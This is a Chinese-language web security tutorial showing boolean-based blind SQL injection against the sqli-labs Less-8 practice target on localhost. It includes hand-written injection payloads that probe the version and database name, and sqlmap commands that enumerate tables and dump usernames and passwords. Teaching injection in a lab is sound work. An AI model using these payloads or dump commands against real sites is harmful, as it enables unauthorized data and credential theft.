点我

SQL注入【布尔盲注】

利用场景

  • 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错,
  • 无法在根据报错信息来进行注入的判断,该情况称为"盲注"

表现形式

  • based boolean (布尔盲注)
  • based time(时间盲注)

布尔盲注

  • 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化

所用函数

  • length() 获取字符串的长度
  • substr() 截取字符串

    语法:substr(string,num start,num length)

    string 字符串;start 起始位置(从1开始);截取长度

  • ascii() 把字符转换为ascii码值

靶场Less-8

1、进入靶场,只显示了you are in..
在这里插入图片描述

2、将1改为0,观察页面是否发生了变化
you are in... 这三个单词不见了
页面发生变化
在这里插入图片描述

3、貌似是布尔盲注,通过探测得知为字符型布尔盲注
在这里插入图片描述
在这里插入图片描述

4、使用substr() 探测数据库版本号
本地操作:
在这里插入图片描述

靶场:

http://127.0.0.1/sqli/Less-8/?id=1' and substr(version(),1,1)  = 5-- q

在这里插入图片描述

在这里插入图片描述

5、版本号5.0以上,使用length() 探测数据库名的长度

在这里插入图片描述
在这里插入图片描述

6、得知数据库名长度为8,可进行猜单词,会不会是security,8个字母
使用 substr()、ascii()验证猜想
在这里插入图片描述
得知s字母的在ASCII码表中的数字是115
故可以构造poc

 ascii(substr(database(),0,1))=115

在这里插入图片描述

在这里插入图片描述
可以验证当前数据库名的第一个单词是s,猜想正确

验证第二个
在这里插入图片描述
在这里插入图片描述
第二个单词为e,猜想正确
接下来进行一一猜解

7、知道了数据库名后,又知道版本号为5.0以上版本,故可利用information_schema数据库进行爆出相关数据
利用方法与上一步同理

8、由于一个单词一个单词猜解,过于费时费力,所以可以使用自动化工具SQLMap

SQLMap跑布尔盲注

基本操作

 可以使用 --technique 指定SQLMap探测技术
支持的探测方式有:
 - B: 基于Boolean的盲注(Boolean based blind) 
 - Q: 内联查询(inlin queries) 
 - T:基于时间的盲注(time based blind) 
 - U: 联合查询(union query based) 
 - E: 错误(errorbased) 

1、由于已经知道存在 布尔盲注

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db

得出当前数据库名security
在这里插入图片描述

2、跑security数据库下的表面

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security 
--tables

在这里插入图片描述

3、跑出 users表下的字段名

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns

在这里插入图片描述

4、跑出id、username、password的数据

python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users 
-C id,username,password --dump

在这里插入图片描述

分类: WEB安全

评论

-- 评论已关闭 --

目录